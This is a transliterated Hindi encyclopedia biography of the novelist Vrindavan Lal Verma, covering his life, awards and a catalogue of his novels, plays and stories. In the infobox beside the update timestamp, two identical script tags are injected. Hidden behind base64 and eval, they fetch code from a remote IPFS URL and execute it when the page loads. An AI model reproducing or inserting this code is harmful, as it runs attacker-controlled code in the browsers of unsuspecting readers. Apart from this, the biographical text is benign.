वृंदावनलाल वर्मा

vriandavanalal varma
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poora nam	vriandavanalal varma
janm	9 janavari, 1889
janm bhoomi	mooranipur, jhaansi (uttar pradesh)
mrityu	23 faravari, 1969
abhibhavak	ayodhya prasad (pita)
karm bhoomi	uttar pradesh
karm-kshetr	upanyasakar evan nibandhakar
mukhy rachanaean	'gadh kundar', 'lagan', 'musahib joo', 'kabhi n kabhi', 'jhaansi ki rani', 'kachanar' adi.
vishay	aitihasik, samajik
bhasha	hindi, bundelakhandi
shiksha	bi.e.
puraskar-upadhi	sahity puraskar, di. lit.
nagarikata	bharatiy
adyatan‎	15:16, 24 faravari 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
inhean bhi dekhean	kavi soochi, sahityakar soochi

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vriandavanalal varma (aangrezi: Vrindavan Lal Verma, janm: 9 janavari, 1889; mrityu: 23 faravari, 1969) aitihasik upanyasakar evan nibandhakar the. inaka janm mooranipur, jhaansi (uttar pradesh) mean hua tha. inake pita ka nam ayodhya prasad tha. vriandavanalal varma ji ke vidya-guru svargiy pandit vidyadhar dikshit the.

jivan parichay

vriandavanalal varma ki pauranik tatha aitihasik kathaoan ke prati bachapan se hi ruchi thi. inaki prarambhik shiksha bhinn-bhinn sthanoan par huee. bi.e. karane ke pashchath inhoanne qanoon ki pariksha pas ki aur jhaansi mean vakalat karane lage. inamean lekhan ki pravritti arambh se hi rahi hai. jab navian shreni mean the, tabhi inhoanne tin chhote-chhote natak likhakar indiyan pres, prayag ko bheje aur puraskar svaroop 50 rupaye prapt kiye. 'mahatma buddh ka jivan-charit' namak maulik granth tatha sheksapiyar ke 'tempest' ka anuvad bhi inhoanne prastut kiya tha.

sahityik jivan

1909 ee. mean vriandavanalal varma ji ka 'senapati oodal' namak natak chhapa, jise sarakar ne jabt kar liya. 1920 ee. tak yah chhoti-chhoti kahaniyaan likhate rahe. inhoanne 1921 se nibandh likhana prarambh kiya. skat ke upanyasoan ka inhoanne svechchhapoorvak adhyayan kiya aur usase ye prabhavit hue. aitihasik upanyas likhane ki prerana inhean skat se hi mili. deshi-videshi any upanyas-sahity ka bhi inhoanne yathesht adhyayan kiya.

vriandavanalal varma ji ne sanh 1927 ee. mean 'gadh kundar' do mahine mean likha. usi varsh 'lagan', 'sangam', 'pratyagat', kundali chakr', 'prem ki bheant' tatha 'hriday ki hilor' bhi likha. 1930 ee. mean 'virat ki padmini' likhane ke pashchath kee varshoan tak inaka lekhan sthagit raha. inhoanne 1939 ee. mean dhire-dhire vyangy tatha 1942-44 ee. mean 'kabhi n kabhi', 'musahib jri' upanyas likha. 1946 ee. mean inaka prasiddh upanyas 'jhaansi ki rani lakshmibaee' prakashit hua. tab se inaki kalam avadh roop se chalati rahi. 'jhaansi ki rani' ke bad inhoanne 'kachanar', 'mriganayani', 'toote kaantean', 'ahilyabaee', 'bhuvan vikram', 'achal mera koee' adi upanyasoan aur 'hansamayoor', 'poorv ki or', 'lalit vikram', 'rakhi ki laj' adi natakoan ka pranayan kiya. 'dabe paanv', 'sharanagat', 'kalakar dand' adi kahanisangrah bhi is bich prakashit ho chuke haian.

puraskar v upadhi

vriandavanalal varma ji bharat sarakar, rajy sarakar, uttar pradesh, madhy pradesh rajy ke sahity puraskar tatha dalamiya sahityakar sansad, hindustani akadami, prayag (uttar pradesh) aur nagari pracharini sabha, kashi ke sarvottam puraskaroan se sammanit kiye gaye haian. apani sahityik sevaoan ke lie vriandavanalal varma ji agara vishvavidyalay dvara di. lit. ki upadhi se sammanit kiye gaye. inaki anek rachanaoan ko kendriy evan prantiy rajyoan ne puraskrit kiya hai.

kritiyaan

thumb|250px|mriganayani vriandavanalal varma ji ki itihas, kala, puratattv, manovijnan, sahity, chitrakala evan moortikala mean vishesh ruchi hai. inaki pramukh kritiyaan is prakar hai-

natak 'dhire-dhire' 'rakhi ki laj' 'sagun' 'jahaandarashah' 'phooloan ki boli' 'baans ki phaans' 'kashmir ka kaanta' 'hansamayoor' 'rani lakshmibaee' 'birabal' 'khilaune ki khoj' 'poorv ki or' 'kaner' 'pile hath' 'nilakanth' 'kevat' 'lalit vikram' 'nistar' 'mangalasootr' 'lo bhaee panchoan lo' 'dekhadekhi'

kahani sangrah 'dabe paanb' 'medhak ka byah' 'ambapur ke amar vir' 'aitihasik kahaniyaan' 'aangoothi ka dan' 'sharanagat' 'kalakar ka dand' 'toshi' nibandh 'hriday ki hilor'

upanyas 'gadh kundar' (1930 ee.) 'lagan', (1928 ee.) 'sangam' (1928 ee.) 'pratyagat' (1927 ee.) 'kundalichakr' (1932 ee.) 'prem ki bheant' (1928 ee.) 'virat ki padmini' (1936 ee) 'musahib joo' (1946 ee.) 'kabhi n kabhi' (1945 ee.) 'jhaansi ki rani' (1946 ee.) 'kachanar' (1947 ee.) 'achal mera koee' (1948 ee.) 'madhavaji sindhiya' (1957 ee.) 'toote kaantean' (1945 ee.) 'mriganayani' (1950 ee.) 'sona' (1952 ee.) 'amaravel' (1953 ee.) 'bhuvan vikram' (1957 ee.) 'ahilyabaee'.

mukhy upanyas

kachanar

thumb|250px|kachanar 'kachanar' upanyas itihas aur parampara par adharit hai. is upanyas ki prishthabhoomi aitihasik hai, ghatanaean bhi saty haian. kintu samay aur sthan mean aitihasikata ka agrah nahian hai. isamean ek sadharan nari kachanar ke satat sangharshashil tatha sanyamit jivan ka chitran hai. sath hi durvyavasanagrast gusaiyoan ki hin dasha ka bhi chitr prastut kiya gaya hai. kathanak ka kendr dhamoni hai, jo ek samay rajagoandoan ki riyasat thi. kachanar ki kahani ke sath hi rajagoandoan ki kahani kahane ka bhi lekhak ka uddeshy hai.

mriganayani

'mriganayani' lekhak ki sarvashreshth rachana mani jati hai. isamean 15vian shati ke ant ke gvaliyar rajy ke manasianh tomar tatha unaki rani mriganayani ki katha hai.

any upakathaean

inaki any upakathaean bhi sath mean haian, jaise lakhi aur atal ki katha. isamean kathanak, charitr-chitran, desh-kal evan vatavaran ka chitran sab kuchh ek sajag kalatmakata se sampann hua hai. sath hi 15vian shati ki rajanitik paristhiti ka chitran bhi kushalata se kiya gaya hai. 'toote kaantean' mean ek sadharan jat mohan lal tatha usaki parivarik sthiti ke chitran ke sath prasiddh nartaki noorabaee ke utthan-patanamay jivan ka bhi chitran kiya gaya hai. mohanalal tatha noorabaee ke jivan ke parivarshv mean hi 18vian shati ke rajanitik, saanskritik evan samajik jivan ka digdarshan in upanyasoan mean karaya gaya hai.

aitihasik upanyas

'ahilyabaee' maratha jivan se sambandhit aitihasik upanyas hai. jisamean ek adarsh hindoo nari ahilya baee ki jivan katha ka samavesh hai. 'bhuvan vikram' mean uttar vaidikakal ki katha vastu ko kalpana aur aitihasik anveshan ke yog se paryapt jivan roop mean upasthit kiya gaya hai. katha ki kendr bhoomi ayodhya hai. ayodhya ke raja romak, rani mamata tatha rajakumar bhuvan isake mukhy patr haian. isamean vaidik sanyam, anushasan, achar-vichar, sabhyata adi ka yathesht sanyojan hai. 'madhavaji sindhiya' jatil ghatanayukt aitihasik upanyas hai. jisamean 18vian shati ke peshava patel madhavaji sindhiya ka mahanh jivan chitrit hai. is upanyas ke dvara 10vian shati ke bharat ka samajik tatha saanskritik jivan pratyaksh ho jata hai. 'gadh kundar', 'jhaansi ki rani', 'virat ki padmini' ke sambandh mean vivaran yathasthan drashtavy haian.

samajik upanyas

'lagan', 'sangam', pratyagat', 'prem ki bheant', 'kundalichakr', 'kabhi n kabhi', 'achal mera koee', 'sona', tatha 'amarevel' haian. 'lagan' mean premakatha ke sath bundelakhand ke bhare-poore ghar ke do kisanoan ki anaban aur manav-sangharsh ka chitran hai. 'sangam' aur 'pratyagat' ka sambandh ooanch-nich ki roodhigat bhavana se hai. in upanyasoan mean tatkalin jati-pati ki kathorata, roodhigrastata, dharmandhata adi ka tatha usase utpann arajakata aur patan ka sajiv chitran hai. 'prem ki bheant' prem ke trikon ki ek chhoti-si kahani hai. 'kundalichakr' ki prishthabhoomi mean kisanoan aur zamiandaroan ka sangharsh dikhaya gaya hai. 'kabhi n kabhi' mazadooroan se sambandhit hai. 'achal mera koee' me uchch madhyam varg aur uchch varg ka chitran hai. 'sona' upanyas ek lokakatha ke adhar par likha gaya hai. 'amaravel' mean sahakarita tatha shramadan ke mahattv ko dikhaya gaya hai.

aitihasik natak

'jhaansi ki rani', 'hansamayoor', 'poorv ki or', 'birabal', 'lalit vikram', aur 'jahaandarashah' haian. 'jhaansi ki rani' mean isi nam ki aupanyasik kriti ko natak roop mean prastut kiya gaya hai. 'phooloan ki boli' mean svarn rasayan dvara prapt karane valoan ki moorkhata par vyangy kiya gaya hai. 'hansamayoor' ka adhar 'prabhakar charit' namak jain granth hai. 'poorv ki or' poorviy dvipoan mean bharatiy sanskriti ke prachar ki katha ka natakiy roop hai. 'birabal' mean akabar ke darabari birabal ke un prayatnoan ka chitran kiya gaya hai, jinhoanne akabar ko mahanh banane mean yog diya. 'lalit vikram' ki kathavastu 'bhuvan vikram' upanyas se hi grihit hai. 'jahaandarashah' mean jahaandarashah ke sangharshamay rajanitik jivan ka chitran kiya gaya hai.

samajik natak

'dhire-dhire' kaangres sarakar ke sanh 1937 ee. ke mantrimandal ki sthiti se sambandh rakhata hai. 'rakhi ki laj' mean rakhi ki shreshth pratha ko hindoo samaj mean banaye rakhane ki bhavana par agrah vyakt kiya gaya hai. 'baans ki phaans' k aaulej ke premasambandhi halki manovritti se sambaddh hai. 'pile hath' mean aise sudharakoan ka chitr hai, jo barat ki purani prathaoan ke das haian. 'sagun' mean chorabazari ka pardafash kiya gaya hai. 'nilakanth' mean vaijnanik tatha adhyatmik donoan drishtikonoan ke samanvay par bal diya gaya hai. 'kevat' rajanitik dalabandi se sambaddh hai. 'mangalasootr' mean ek shikshit l daki ke sath ek ayogy l dake ke vivah ki kahani hai. 'khilaune ki khoj' mean manobal dvara anek samasyaoan ke samadhan ka sujhav hai. 'nistar' ka sambangh harijan sudhar se hai. 'dekhadekhi' mean doosaroan ki dekha-dekhi mean samajik parvaan par sima se adhik kharche karane ki vritti par vyangy hai.

kahaniyaan

'sharanagat', 'kalakar ka dand' adi 7 kahani sangrah prakashit ho chuke haian. jinamean lekhak ki vividh samay mean rachit vibhinn prakar ki kahaniyaan sangrahit haian.

vicharadhara

vriandavanalal varma ki vicharadhara unake upanyasoan se spasht jnat ho jati hai. inaki drishti sarvada rashtr ke pun: nirman ki or rahi hai. bharat ke patan ke mool karan roodhi-jarjar samaj ko inhoanne apani sabhi prakar ki rachanaoan mean prayogashala banaya hai tatha samajik kuritiyoan ki or iangit kiya hai. ye shram ke mahattv ke prabal poshak haian. varmaji manav jivan ke lie prem ko ek avashyak tattv manate haian. yahi nahian, unake vichar se prem ek sadhana hai, jo sadhak ko samany bhoomi se uthakar uchchata ki or le jati hai. jivan ke prati inaka drishtikon pray: vahi hai, jisaka pratipadan prachin bharatiy sanskriti karati hai. inake vichar se manushy ko keval karm karane ka adhikar hai, phal ka nahian.

bhasha-shaili

vriandavanalal varma ji ki bhasha adhikatar patranukool hoti hai. inaki bhasha mean bundelakhandi ka put rahata hai. jo upanyasoan ki kshetriyata ka parichayak hai. varnan jahaan bhavapradhan hota hai, vahaan bhi inaki shaili adhik alankaramay n hokar mukhyataya upayukt upama-vidhan se sanyukt dikhaee deti hai. mukhyata vriandavanalal varma ji ki shaili varnanatmak hai, jisamean rochakata tatha dharapravahita, donoan gun vartaman haian. ye patroan ke charitr vishleshan mean tatasth rahate haian. patr apane charitr ka parichay ghatanaoan, paristhitiyoan evan kathopakathan se svayan de dete haian. inake upanyasoan ki lokapriyata ka yah ek pramukh karan hai.

kritittv

aitihasik upanyasakar ke roop mean vriandavanalal varma ka kritittv vishesh mahattv rakhata hai. inamean poorv hindi sahity mean aisa koee upanyasakar nahian hua, jisane itani vyapak bhavabhoomi par itihas ko pratishthit karake usake pichhe nihit katha-tattv ko shaktisanlagnata aur aantadrishti ke sath sootrabaddh kiya ho. varmaji ke anek upanyasoan mean vastavik itihas ras ki upalabdhi hoti hai. is pushti se ye hindi ke anyatam upanyasakar haian.

sahayak granth

• vriandavanalal-upanyas aur kala
• shivakumar mishr
• vriandavanalal varma-vyaktitv aur krititv
• padmasianh sharma 'kamalesh'
• vriandavanalal varma-sahity aur samiksha
• siyaramasharan prasad

mrityu

aitihasik upanyasakar ke roop mean vikhyat vriandavanalal varma ji ka 23 faravari, 1969 ko nidhan ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• amar bel
• kachanar (upanyas)
• vriandavanalal varma
• vriandavanalal varma ki pustakean

sanbandhit lekh

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